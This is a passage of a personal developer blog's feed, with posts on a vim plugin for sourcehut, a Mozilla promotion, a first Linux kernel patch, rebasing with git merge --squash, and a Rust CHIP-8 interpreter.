&lt;a href=&quot;https://github.com/junegunn/fzf.vim&quot;&gt;fzf.vim&lt;/a&gt; to quickly find what I am looking for).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mattn/vim-gist&quot;&gt;vim-gist&lt;/a&gt;: this plugin allows me to create &lt;em&gt;gists&lt;/em&gt; from within vim by
typing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;esc&amp;gt;:Gi&amp;lt;tab&amp;gt;&amp;lt;enter&amp;gt;&lt;/code&gt;. I share git diffs, various drafts, notes, etc.
I configured this plugin so that it creates a private gist by default and puts
the URL into the system’s clipboard. It’s very effective!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When I started to use sourcehut, I couldn’t use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:GBrowse&lt;/code&gt; anymore and, when I
asked for help on IRC once, some folks told me about the &lt;em&gt;paste&lt;/em&gt; service (I
shared GitHub’s gists as I normally do and I am not sure they liked it). Writing
a vim plugin was on my todo-list for a while. I wrote some sort of plugins in
the past but nothing really serious.&lt;/p&gt;

&lt;p&gt;There we are. &lt;strong&gt;I wrote &lt;a href=&quot;https://git.sr.ht/~willdurand/srht.vim&quot;&gt;srht.vim&lt;/a&gt;&lt;/strong&gt;, a plugin for interacting with some
sourcehut services. This plugin allows to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:GBrowse&lt;/code&gt; with sourcehut git
repositories when vim-fugitive is installed, and it provides a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:SrhtPaste&lt;/code&gt;
command, similar to vim-gist. The latter is heavily inspired by the work of
Yasuhiro Matsumoto, the author of the vim-gist plugin, for two reasons: (1) I am
so used to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:Gist&lt;/code&gt; command that I wanted a similar “user interface”, &lt;em&gt;i.e.&lt;/em&gt;
same command arguments and messages, and (2) the author writes excellent vim
plugins (I really needed some concrete examples to follow after having read
&lt;a href=&quot;https://learnvimscriptthehardway.stevelosh.com/&quot;&gt;Learn Vimscript the Hard Way&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;srht.vim can be installed using any package manager (I think) but I personally
use Vim’s built-in package support (see &lt;a href=&quot;https://vimhelp.org/repeat.txt.html#packages&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:help packages&lt;/code&gt;&lt;/a&gt;). Both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; and
the &lt;a href=&quot;https://github.com/mattn/webapi-vim&quot;&gt;webapi-vim&lt;/a&gt; plugin are needed, too (it might change in the future).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mkdir -p ~/.vim/pack/willdurand/start
$ cd !$
$ git clone https://git.sr.ht/~willdurand/srht.vim
$ vim -u NONE -c &quot;helptags srht.vim/doc&quot; -c q
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The current state of this plugin is enough for my needs but the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:SrhtPaste&lt;/code&gt;
command is way less powerful than the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:Gist&lt;/code&gt; one and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:GBrowse&lt;/code&gt; integration
might not handle some edge cases very well. Get in touch if you want to use this
plugin but it doesn’t work for you right now, though.&lt;/p&gt;

&lt;p&gt;Depending on how sourcehut evolves in the future, I’d like to add
omni-completion to reference issues in commit messages, which is another feature
(from &lt;a href=&quot;https://github.com/tpope/vim-rhubarb&quot;&gt;vim-rhubarb&lt;/a&gt;) that I use very often!&lt;/p&gt;

&lt;p&gt;Let me know if you have ideas to further improve &lt;a href=&quot;https://git.sr.ht/~willdurand/srht.vim&quot;&gt;my first vim plugin&lt;/a&gt;.
Cheers!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>I got a promotion!</title>
        <link href="https://williamdurand.fr/2021/02/26/i-got-a-promotion/"/>
        <updated>2021-02-26T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/02/26/i-got-a-promotion</id>
        <content type="html">&lt;p&gt;Long story short, I have been promoted to &lt;strong&gt;Staff Software Engineer&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Julia Evans explains &lt;a href=&quot;https://jvns.ca/blog/senior-engineer/&quot;&gt;what a senior engineer’s job is&lt;/a&gt; and her blog post
describes my role well enough, which is why I won’t go into details here.
Instead, I chose to write a more personal “status update”.&lt;/p&gt;

&lt;p&gt;First of all, Mozilla has a great [career path for engineers]&lt;sup id=&quot;fnref:7&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:7&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, which doesn’t
force folks who like to code to become managers, a very common practice in
French companies (and maybe elsewhere, ugh!). It’s such a relief!&lt;/p&gt;

&lt;p&gt;Second, this new title won’t change my day to day work right now: I have been
promoted because I was already doing some of the job of a staff engineer and I
likely proved that I was a good fit for this role. I still have many new things
to learn, though, and that’s very exciting!&lt;/p&gt;

&lt;h2 id=&quot;3615-my-life&quot;&gt;3615 My Life&lt;/h2&gt;

&lt;p&gt;I joined Mozilla as a frontend developer. I exclusively worked on the AMO
frontend in 2018 and eventually became &lt;a href=&quot;https://github.com/mozilla/addons-frontend/graphs/contributors&quot;&gt;a major contributor&lt;/a&gt;. During this
time, I started to maintain some side-projects (eslint config/plugin). After a
year, I decided to become more proficient with python so I started to contribute
to our main backend/API project. This allowed me to work on much bigger features
by myself, and I learned a lot more about add-ons and the AMO platform.&lt;/p&gt;

&lt;p&gt;In 2019, my main focus was on hardening the AMO platform, a topic that is
unfortunately confidential. This work started as a research-y project because we
didn’t really know what we could come up with. I chose to use what I learned
during &lt;a href=&quot;/2016/05/16/phd-check/&quot;&gt;my PhD&lt;/a&gt;: I studied the “state of the art”. After that, I built several
prototypes and presented the results of my initial work to different people, got
feedback, iterated, and eventually proposed a plan to move forward. Some
prototypes became “production-ready” and are now running in production while
others have been shelved.&lt;/p&gt;

&lt;p&gt;During this period, I also started a collaboration between a Machine Learning
(ML) team and my own team. We wanted to give ML a try but we didn’t know exactly
how. I looked into that on my own first! I wanted to be able to ask good
questions and, to me, it was necessary to be more familiar with ML and have an
idea of how things should be designed. I played with scikit-learn and Jupyter to
have some preliminary results that I shared with the ML team along with a lot of
questions to ask. I don’t know if that was the “right” thing to do but it worked
and the collaboration is still on-going.&lt;/p&gt;

&lt;p&gt;In 2020, I worked on various projects between my parental leave and the rounds
of layoffs… I started to contribute to Firefox (more on that later) and I
adopted a few more projects that needed some maintenance. I also realized that I
could bridge the gap between the AMO and WebExtensions (Firefox) teams, so I
tried (and continues) to do that.&lt;/p&gt;

&lt;p&gt;I didn’t really have any goal in mind when I joined Mozilla (except not being
fired because I was a fraud, maybe). Over time, I started to look into new
topics because I needed to learn something new and things in front of me were
interesting. I feel lucky to have been assigned to this security topic back in
2019, it had a huge impact on my career because I could show what I was able to
do. I chose not to be too specialized because that’s not who I am anyway (I suck
at being good at one thing so I try to be average on many things instead). I
think that works well.&lt;/p&gt;

&lt;p&gt;I wouldn’t be there without my amazing colleagues in the Add-ons team. Thanks to
all of you! A special note to my current manager (who hired me too): you were
already on my “list” of people who largely influenced my career and therefore my
life, and you continue to have an immense positive impact. I’ll be forever
grateful, thank-you.&lt;/p&gt;

&lt;p&gt;Last but not least, I couldn’t end this section without mentioning my partner.
She’s been very supportive and did an amazing job at taking care of our little
one while I was at work last year &amp;lt;3&lt;/p&gt;

&lt;p&gt;This now sounds like an Oscar speech so let’s talk about something else.&lt;/p&gt;

&lt;h2 id=&quot;in-other-news&quot;&gt;In other news&lt;/h2&gt;

&lt;p&gt;The Firefox codebase was (and still is) kinda scary to me. This is one of those
&lt;em&gt;things&lt;/em&gt; where I thought I could never contribute to it. That’s a huge project,
with a lot of users (I know what you’re thinking!), and developed by many
contributors every day. Thanks to &lt;a href=&quot;/2019/12/20/sigcont/&quot;&gt;my amazing self-confidence&lt;/a&gt; (follow the
link if you don’t get the irony), I decided to contribute to Firefox roughly &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;a
year ago&lt;/a&gt;, and this became my personal development goal for the rest of the
year. I landed trivial patches and made all the possible mistakes. I learned a
lot with Rob and then Luca.&lt;/p&gt;

&lt;p&gt;In Q3 2020, I worked on &lt;a href=&quot;https://blog.mozilla.org/addons/2020/06/10/improvements-to-statistics-processing-on-amo/&quot;&gt;new AMO statistics&lt;/a&gt; for add-on developers, which
involved various components&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; and required some Firefox changes. I was able to
land some patches in Firefox in order to support the rest of my work. That was
really cool because I worked on ALL the building blocks.&lt;/p&gt;

&lt;p&gt;Last month, I got &lt;a href=&quot;https://www.mozilla.org/en-US/about/governance/policies/commit/access-policy/&quot;&gt;Commit Access Level 3&lt;/a&gt; on Firefox! It’s rewarding because
it means I earned the trust of my peers.&lt;/p&gt;

&lt;p&gt;I am so happy!&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:7&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a &lt;a href=&quot;https://twitter.com/Gankra_/status/1046438955439271936&quot;&gt;tweet from @Gankra_&lt;/a&gt;:&lt;/p&gt;
      &lt;blockquote class=&quot;footnote-tweet&quot;&gt;
        &lt;p&gt;i really like that mozilla has an engineer track that just tries to
capture the depth/responsibility of the tasks you’re currently tackling,
and doesn’t necessarily involve moving on to management roles&lt;/p&gt;

        &lt;p&gt;[screenshot of a spreadsheet with the Mozilla’s career ladder]&lt;/p&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;a href=&quot;#fnref:7&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;I was working on a project involving some frontend work and a lot of
  backend changes for AMO. I also had to prototype the ETL queries and
  implemented a feature to collect data I needed in Firefox. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>First patch in the Linux kernel</title>
        <link href="https://williamdurand.fr/2021/02/22/first-patch-in-the-linux-kernel/"/>
        <updated>2021-02-22T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/02/22/first-patch-in-the-linux-kernel</id>
        <content type="html">&lt;p&gt;Below is the &lt;a href=&quot;https://lore.kernel.org/driverdev-devel/20210213034711.14823-1-will+git@drnd.me/&quot;&gt;very first patch&lt;/a&gt; that I recently landed in the Linux kernel:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;diff --git a/drivers/staging/rtl8192e/rtllib_wx.c b/drivers/staging/rtl8192e/rtllib_wx.c
index aa26b2fd2774..2e486ccb6432 100644
--- a/drivers/staging/rtl8192e/rtllib_wx.c
+++ b/drivers/staging/rtl8192e/rtllib_wx.c
@@ -341,8 +341,6 @@ int rtllib_wx_set_encode(struct rtllib_device *ieee,
 		goto done;
 	}

-
-
 	sec.enabled = 1;
 	sec.flags |= SEC_ENABLED;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you’re not familiar with the &lt;a href=&quot;https://en.wikipedia.org/wiki/Diff#Unified_format&quot;&gt;unified format&lt;/a&gt;, this patch removed two
blank lines in a (random) C file. It took me an hour to write and test it as I
double-checked every single command I ran to avoid making silly mistakes. I was
kinda terrified but everything went well. Since then, I contributed &lt;a href=&quot;https://lore.kernel.org/driverdev-devel/?q=a:will+git@drnd.me&quot;&gt;some more
patches&lt;/a&gt; to the &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging.git/&quot;&gt;staging&lt;/a&gt; subsystem. Patches fixing stylistic issues are
welcomed in this subsystem and it is where newcomers should start.&lt;/p&gt;

&lt;h2 id=&quot;gaining-confidence&quot;&gt;Gaining confidence&lt;/h2&gt;

&lt;p&gt;I am proud of my first patch. Let’s be honest, this patch won’t make the kernel
safer or anything like that, I only removed two blank lines and it’s &lt;em&gt;just&lt;/em&gt; a
staging driver (but distributions like &lt;a href=&quot;https://wiki.debian.org/rtl819x&quot;&gt;Debian include it&lt;/a&gt; nonetheless). I
wanted to write about it because I think it’s important to be reminded that, no
matter our experience, we always have something to learn and we must learn to
walk before we can run.&lt;/p&gt;

&lt;p&gt;Very few people make outstanding contributions on a new project on Day 1. It
takes time to get used to the contribution process, the different tools, the
people you work with, etc. This simple patch introduced me to some of the Linux
Kernel Mailing-Lists and how to use them. I learned about the staging subsystem
and the whole concept of “subsystems”. Last but not least, I understood how
patches were merged into the main Linux Kernel repository by following my commit
from my local environment to &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/&quot;&gt;Linus Torvalds’ tree&lt;/a&gt;:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I submitted a patch to the &lt;a href=&quot;https://lore.kernel.org/driverdev-devel/&quot;&gt;DriverDev-Devel&lt;/a&gt; mailing-list&lt;/li&gt;
  &lt;li&gt;after review, the patch landed in the &lt;em&gt;staging-testing&lt;/em&gt; branch of &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging.git/&quot;&gt;Greg
Kroah-Hartman’s tree&lt;/a&gt; (Greg KH is the maintainer of the staging subsystem)&lt;/li&gt;
  &lt;li&gt;after testing, the patch was merged into the &lt;em&gt;staging-next&lt;/em&gt; branch&lt;/li&gt;
  &lt;li&gt;Greg KH prepared a (short-lived) tag for Linus and &lt;a href=&quot;https://lore.kernel.org/lkml/YCqhISE0U6%2FUJoLb@kroah.com/&quot;&gt;requested&lt;/a&gt; a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git pull&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Linus &lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5d99aa093b566d234b51b7822c67059e2bd3ed8d&quot;&gt;pulled&lt;/a&gt; the tag from Greg KH’s tree&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=465e8997e8543f78aac5016af018a4ceb445a21b&quot;&gt;First patch in the Linux Kernel&lt;/a&gt;! :)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;email-based-git-workflow&quot;&gt;Email-based &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; workflow&lt;/h2&gt;

&lt;p&gt;Submitting a first patch to the Linux Kernel is not super complicated but it is
&lt;em&gt;different&lt;/em&gt; because GitHub introduced a new approach to making Open Source
contributions that became extremely popular. This platform enabled many
developers, including myself, to work on Open Source projects using Pull/Merge
Requests.&lt;/p&gt;

&lt;p&gt;The Linux Kernel uses emails and mailing-lists to distribute patches and review
code. &lt;a href=&quot;https://sourcehut.org/&quot;&gt;sourcehut&lt;/a&gt; is a platform that leverages this process as well. I like
that approach because all the metadata around the source code is open, public
and sort of distributed. If GitHub goes down, a team cannot collaborate anymore
because they cannot exchange patches or review code, until GitHub comes back.
When GitHub removes a repository for some reasons, all the past code reviews and
patches (Pull Requests) are lost.&lt;/p&gt;

&lt;p&gt;Other Open Source projects like Firefox have [a different workflow]&lt;sup id=&quot;fnref:11&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:11&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; too and
it isn’t really easier than emails. That being said, most email clients are not
compatible with the email-based &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; workflow by default, and that’s a huge
problem. This workflow requires &lt;a href=&quot;https://useplaintext.email/&quot;&gt;plaintext emails&lt;/a&gt; and, for the Linux Kernel
as well as platforms like sourcehut, text should be wrapped at 72 columns and
bottom posting should be used. The majority of email clients will be configured
with HTML, no wrap (and/or no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;format=flowed&lt;/code&gt; support) and top posting by
default, ugh.&lt;/p&gt;

&lt;p&gt;Therefore, email clients that run in a terminal (like &lt;a href=&quot;https://aerc-mail.org/&quot;&gt;aerc&lt;/a&gt;) are kinda
mandatory and I can see how user &lt;em&gt;unfriendly&lt;/em&gt; that is. I spend most of my time
working in a terminal, yet I do not use such clients. I started to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aerc&lt;/code&gt;
lately, though. It’s the only way for me to be as efficient as I am with GitHub
because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aerc&lt;/code&gt; allows me to review, test and apply patches with ease. We’ll see
how that goes on the long run.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As you can see here, anyone can contribute to the Linux Kernel. For me, it’s a
personal achievement that makes me super happy. Then again, I do not think my
first contribution has been very useful but it’s &lt;em&gt;something&lt;/em&gt;. I’ll continue to
land similar patches until I find some more involved problems to solve.&lt;/p&gt;

&lt;p&gt;If you think this is stupid, well, not everyone agrees with you ;-)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;willdurand&amp;gt; here is an example where I sent a series to cleanup a union and
each patch fixes a single field in a struct: &lt;a href=&quot;https://lore.kernel.org/driverdev-devel/20210219101206.18036-1-will+git@drnd.me/T/#u&quot;&gt;link&lt;/a&gt;. I realize it’s a lot
of very small commits and I am not sure if that’s the right approach.&lt;/p&gt;

  &lt;p&gt;gregkh&amp;gt; willdurand: that approach was PERFECT! Exactly the correct thing to do,
and the best example of “hey, go do it like that patch series” I have seen in a
while.  Nice job.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you’d like to contribute too, &lt;a href=&quot;https://kernelnewbies.org/&quot;&gt;Kernelnewbies&lt;/a&gt; has a lot of information to
get started and everyone I interacted with has been very friendly.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:11&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a tweet from me:&lt;/p&gt;
      &lt;blockquote class=&quot;footnote-tweet&quot;&gt;
        &lt;p&gt;A #git workflow for #Gecko development:
&lt;a href=&quot;https://glandium.org/blog/?page_id=3438&quot;&gt;https://glandium.org/blog/?page_id=3438&lt;/a&gt;
// This was very useful last week!  I can’t explain why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hg&lt;/code&gt; is so slow
for me.. Anyway, with bugzilla, phabricator, moz-phab, etc. having &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt;
means one less new thing to learn.&lt;/p&gt;
      &lt;/blockquote&gt;
      &lt;p&gt;&lt;a href=&quot;#fnref:11&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Rebasing without `git rebase`</title>
        <link href="https://williamdurand.fr/2021/02/02/rebasing-without-git-rebase/"/>
        <updated>2021-02-02T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/02/02/rebasing-without-git-rebase</id>
        <content type="html">&lt;p&gt;My &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; workflow involves creating a lot of short-lived branches (a.k.a.
feature branches), switching between them and, sometimes, I need to &lt;em&gt;rebase&lt;/em&gt; one
of these branches. &lt;a href=&quot;https://git-scm.com/docs/git-rebase&quot;&gt;git rebase&lt;/a&gt; is a super
useful git command and I recommend everyone to get more familiar with it (take a
look at &lt;a href=&quot;https://git-rebase.io&quot;&gt;git rebase in depth&lt;/a&gt; for instance).&lt;/p&gt;

&lt;p&gt;My feature branches usually contain a single commit (of interest) and when there
are more commits, my team at $WORK uses the &lt;a href=&quot;https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squash-and-merge-your-pull-request-commits&quot;&gt;squash and
merge&lt;/a&gt;
button anyway. In other words, I do not care much about the history of a
short-lived git branch. Using this approach, executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git rebase&lt;/code&gt; is
straightforward and there is usually little to no &lt;em&gt;conflict&lt;/em&gt; to handle.&lt;/p&gt;

&lt;p&gt;That being said, it can be tricky to perform a rebase sometimes (for example,
when the main branch has changed a lot after someone ran a code formatter on the
entire codebase).  Such a situation could also occur when one merges the main
branch into the feature branch, resulting in a &lt;em&gt;merge commit&lt;/em&gt; like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Merge branch
&apos;main&apos; into feature-branch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Attempting a rebase in these situations will convince a lot of people that git
rebase is awful but we can achieve pretty much the same result using a different
git command: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git merge&lt;/code&gt; with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--squash&lt;/code&gt; option. Here is how I proceed to
rebase a branch named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;feature-branch&lt;/code&gt; without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git rebase&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;make sure the main branch is up to date locally first:&lt;/p&gt;

    &lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ git checkout main
 $ git pull origin main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;“rename” the branch to rebase to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;feature-branch-2&lt;/code&gt;:&lt;/p&gt;

    &lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ git checkout feature-branch
 $ git branch --move feature-branch-2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;recreate the branch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;feature-branch&lt;/code&gt; based on the main branch:&lt;/p&gt;

    &lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ git checkout main
 $ git checkout -b feature-branch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git merge&lt;/code&gt; the temporary branch &lt;strong&gt;with squash&lt;/strong&gt;:&lt;/p&gt;

    &lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; $ git merge --squash feature-branch-2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Now, commit and force push &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;feature-branch&lt;/code&gt; to update the Pull/Merge Request
🎉 The temporary branch can be safely deleted at this point.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s it! Note that some of the commands above could be combined to be more
efficient but I do not use this procedure a lot so I do not mind.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Bonus: a few years ago I learned about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git commit --fixup&lt;/code&gt; so I often pass
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--autosquash&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git rebase&lt;/code&gt; (and sometimes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--autostash&lt;/code&gt; too). Take a look at
these options if you do not know about them already :)&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Introducing chipolata: a CHIP-8 interpreter</title>
        <link href="https://williamdurand.fr/2021/01/27/introducing-chipolata-a-chip8-interpreter/"/>
        <updated>2021-01-27T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/01/27/introducing-chipolata-a-chip8-interpreter</id>
        <content type="html">&lt;p&gt;A few weeks ago, I wrote a CHIP-8 interpreter named
&lt;a href=&quot;https://github.com/willdurand/chipolata&quot;&gt;&lt;em&gt;chipolata&lt;/em&gt;&lt;/a&gt; (you can take a look at
the &lt;a href=&quot;https://williamdurand.fr/chipolata/&quot;&gt;online demo here&lt;/a&gt;). This article gives
a quick tour of this project.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/CHIP-8&quot;&gt;CHIP-8&lt;/a&gt; is a programming language that
has been used to write video games on a few different platforms in the 70s-80s.
There are tons of interpreters already, and mine isn’t fundamentally different I
believe.&lt;/p&gt;

&lt;h2 id=&quot;context&quot;&gt;Context&lt;/h2&gt;

&lt;p&gt;One of my personal projects is a GameBoy emulator, which I initially started in
order to learn more about emulators, graphics and Rust. This GameBoy project is
currently unfinished and not publicly available. The truth is: I wasn’t very
happy with some of the architecture decisions I made so I put it on hold. After
a year of inactivity, I decided to work on a similar but a lot simpler project
in order to (hopefully) solve some of my design issues and finish the emulator.
The &lt;em&gt;chipolata&lt;/em&gt; project was born.&lt;/p&gt;

&lt;p&gt;I wrote &lt;em&gt;chipolata&lt;/em&gt; in Rust (a programming language I don’t practice enough) and
it is split into three components:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a core library that contains the actual interpreter&lt;/li&gt;
  &lt;li&gt;a cross-platform “desktop” application&lt;/li&gt;
  &lt;li&gt;a web application powered by a WebAssembly module&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The next three sections will give more information about each of these
components.&lt;/p&gt;

&lt;h2 id=&quot;core-library&quot;&gt;Core library&lt;/h2&gt;

&lt;p&gt;The core library parses the content of a ROM file, which contains &lt;a href=&quot;https://en.wikipedia.org/wiki/Opcode&quot;&gt;operation
codes&lt;/a&gt; (“opcodes”). CHIP-8 has 35 opcodes
only but implementing all of them still takes time. I used a &lt;a href=&quot;https://github.com/corax89/chip8-test-rom&quot;&gt;test
ROM&lt;/a&gt; to verify my implementation and
I ported a tiny debugger that I wrote for the GameBoy emulator in order to
double-check a few other things. Writing a debugger early in the process is
always a good idea and it is useful even when the set of opcodes is relatively
small.&lt;/p&gt;

&lt;p&gt;An
&lt;a href=&quot;https://github.com/willdurand/chipolata/blob/e55bcf32a0d74c9db4b35b493576a3e27399f4e6/src/chip8/mod.rs#L7&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interpreter&lt;/code&gt;&lt;/a&gt;
struct, which is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Facade_pattern&quot;&gt;facade&lt;/a&gt;,
exposes everything required to implement a “frontend” program. It’s worth
pointing out that the interpreter does not handle the main loop. Indeed, I
decided to leave this part to the frontend side because I found it easier to
make graphical output, sound and user input work together with the interpreter
when the frontend also controls the main loop.&lt;/p&gt;

&lt;p&gt;The first frontend I implemented was the cross-platform desktop application.&lt;/p&gt;

&lt;h2 id=&quot;desktop-application&quot;&gt;Desktop application&lt;/h2&gt;

&lt;p&gt;This is a separate program that relies on the core library and adds a graphical
output thanks to &lt;a href=&quot;https://github.com/emoon/rust_minifb&quot;&gt;minifb&lt;/a&gt; as well as audio
support &lt;em&gt;via&lt;/em&gt; &lt;a href=&quot;https://github.com/RustAudio/rodio&quot;&gt;rodio&lt;/a&gt;. The screenshot below
shows the display on the left side and a terminal running the built-in debugger
on the right side:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2021/01/chipolata-desktop.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point, I could play different games and everything was working as I
expected so I decided to try something new.&lt;/p&gt;

&lt;h2 id=&quot;web-application&quot;&gt;Web application&lt;/h2&gt;

&lt;p&gt;I created WebAssembly (WASM) “bindings” to expose the core library as a WASM
module, which could then be used in a web application. I am not super familiar
with WASM so this part took me a while to understand what was possible.&lt;/p&gt;

&lt;p&gt;A new
